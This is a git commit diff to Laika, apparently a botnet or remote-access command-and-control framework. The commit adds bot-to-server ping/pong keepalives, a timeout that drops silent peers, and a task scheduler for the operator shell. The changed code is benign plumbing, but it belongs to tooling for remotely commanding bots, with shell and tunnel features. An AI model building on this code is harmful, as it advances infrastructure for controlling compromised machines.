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Added LAIKAPKT_PINGPONG

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- shell now has it's own task service, it's polled in shellC_poll()
- default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h
This commit is contained in:
CPunch 2022-04-13 12:19:06 -05:00
parent 89630b1a5e
commit 9694ae67d8
13 changed files with 100 additions and 7 deletions
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3
bot/include/bot.h
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@ -5,6 +5,7 @@
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h"
#include "lsodium.h"
@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
#endif

15
bot/src/bot.c
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@ -12,6 +12,11 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
}
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
/* =============================================[[ Packet Tables ]]============================================== */
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
@ -19,6 +24,10 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
laikaB_handleHandshakeResponse,
sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
laikaB_handlePing,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
laikaB_handleShellOpen,
sizeof(uint16_t) + sizeof(uint16_t),
@ -153,3 +162,9 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
laikaP_flushOutQueue(&bot->pList);
return true;
}
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
}

1
bot/src/main.c
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@ -30,6 +30,7 @@ int main(int argv, char *argc[]) {
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
LAIKA_TRY
/* connect to test CNC */

10
cnc/include/cnc.h
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@ -6,12 +6,17 @@
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_peerInfo {
struct sLaika_cnc *cnc;
long lastPing;
};
#define BASE_PEERINFO struct sLaika_peerInfo info;
@ -63,4 +68,9 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
#endif

29
cnc/src/cnc.c
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@ -2,6 +2,7 @@
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cpanel.h"
#include "cnc.h"
@ -12,6 +13,7 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
pInfo->cnc = cnc;
pInfo->lastPing = laikaT_getTime();
return pInfo;
}
@ -134,6 +136,13 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
}
/* =============================================[[ Packet Tables ]]============================================== */
#define DEFAULT_PKT_TBL \
@ -141,6 +150,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaC_handleHandshakeRequest, \
LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, \
laikaC_handlePing, \
0, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
laikaC_handleAuthenticatedHandshake, \
sizeof(uint8_t), \
@ -421,6 +434,22 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
return elem ? elem->peer : NULL;
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT)
laikaC_killPeer(cnc, peer);
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
}
/* ===============================================[[ Peer Iter ]]================================================ */
struct sWrapperData {

1
cnc/src/main.c
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@ -56,6 +56,7 @@ int main(int argv, char *argc[]) {
return 1;
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
/* start cnc */
laikaC_bindServer(cnc);

4
lib/include/lpacket.h
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@ -53,6 +53,10 @@ enum {
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
/* layout of LAIKAPKT_TUNNEL_OPEN:
* uint16_t port;

2
lib/include/ltask.h
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@ -30,4 +30,6 @@ void laikaT_pollTasks(struct sLaika_taskService *service);
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
int laikaT_timeTillTask(struct sLaika_taskService *service);
long laikaT_getTime(void);
#endif

1
lib/src/lpacket.c
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@ -6,6 +6,7 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) {
"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_TUNNEL_OPEN",
"LAIKAPKT_TUNNEL_CLOSE",
"LAIKAPKT_TUNNEL_CONNECTION_ADD",

4
lib/src/lsocket.c
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@ -300,7 +300,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
#ifdef DEBUG
#if 0
/* for debugging */
printf("---recv'd %d bytes---\n", rcvd);
for (i = 1; i <= rcvd; i++) {
@ -354,7 +354,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} while((sentBytes += sent) < sz);
_rawWriteExit:
#ifdef DEBUG
#if 0
/* for debugging */
printf("---sent %d bytes---\n", sent);
for (i = 1; i <= sentBytes; i++) {

8
lib/src/ltask.c
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@ -3,7 +3,7 @@
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
also side note: microsoft? more like micropenis */
long getTime() {
long laikaT_getTime() {
struct timespec ts;
timespec_get(&ts, TIME_UTC);
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
@ -27,7 +27,7 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
struct sLaika_task *curr = service->headTask, *last = NULL;
task->scheduled = getTime() + task->delta;
task->scheduled = laikaT_getTime() + task->delta;
/* search list for task for which we're scheduled before */
while (curr != NULL && curr->scheduled < task->scheduled) {
@ -84,7 +84,7 @@ void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task
void laikaT_pollTasks(struct sLaika_taskService *service) {
struct sLaika_task *last, *curr = service->headTask;
clock_t currTick = getTime();
clock_t currTick = laikaT_getTime();
/* run each task, list is already sorted from closest scheduled task to furthest */
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
@ -104,7 +104,7 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
int laikaT_timeTillTask(struct sLaika_taskService *service) {
if (service->headTask) {
int pause = service->headTask->scheduled - getTime();
int pause = service->headTask->scheduled - laikaT_getTime();
return (pause > 0) ? pause : 0;
} else
return -1; /* no tasks scheduled */

2
shell/include/sclient.h
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@ -3,6 +3,7 @@
#include "hashmap.h"
#include "lpeer.h"
#include "ltask.h"
#include "lsodium.h"
#include "speer.h"
@ -10,6 +11,7 @@
typedef struct sShell_client {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_taskService tService;
struct sLaika_peer *peer;
tShell_peer *openShell; /* if not NULL, shell is open on peer */
struct hashmap *peers;

27
shell/src/sclient.c
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@ -6,6 +6,13 @@
#include "sclient.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
tShell_client *client = (tShell_client*)uData;
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
}
/* ==============================================[[ PeerHashMap ]]=============================================== */
typedef struct sShell_hashMapElem {
@ -35,6 +42,12 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
PRINTSUCC("Handshake accepted!\n");
}
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
@ -117,6 +130,10 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
shellC_handleHandshakeRes,
sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
shellC_handlePing,
0,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
shellC_handleAddPeer,
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t),
@ -161,6 +178,9 @@ void shellC_init(tShell_client *client) {
client->peerTblCap = 4;
client->peerTblCount = 0;
laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
/* load authenticated keypair */
if (sodium_init() < 0) {
shellC_cleanup(client);
@ -187,6 +207,8 @@ void shellC_cleanup(tShell_client *client) {
laikaP_cleanPList(&client->pList);
hashmap_free(client->peers);
laikaT_cleanTaskService(&client->tService);
/* free peers */
for (i = 0; i < client->peerTblCount; i++) {
if (client->peerTbl[i])
@ -235,7 +257,10 @@ bool shellC_poll(tShell_client *client, int timeout) {
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
/* flush any events prior (eg. made by a command handler) */
/* run any scheduled tasks, this could be moved but it works fine here for now */
laikaT_pollTasks(&client->tService);
/* flush any events prior (eg. made by a command handler or task) */
laikaP_flushOutQueue(&client->pList);
evnts = laikaP_poll(&client->pList, timeout, &numEvents);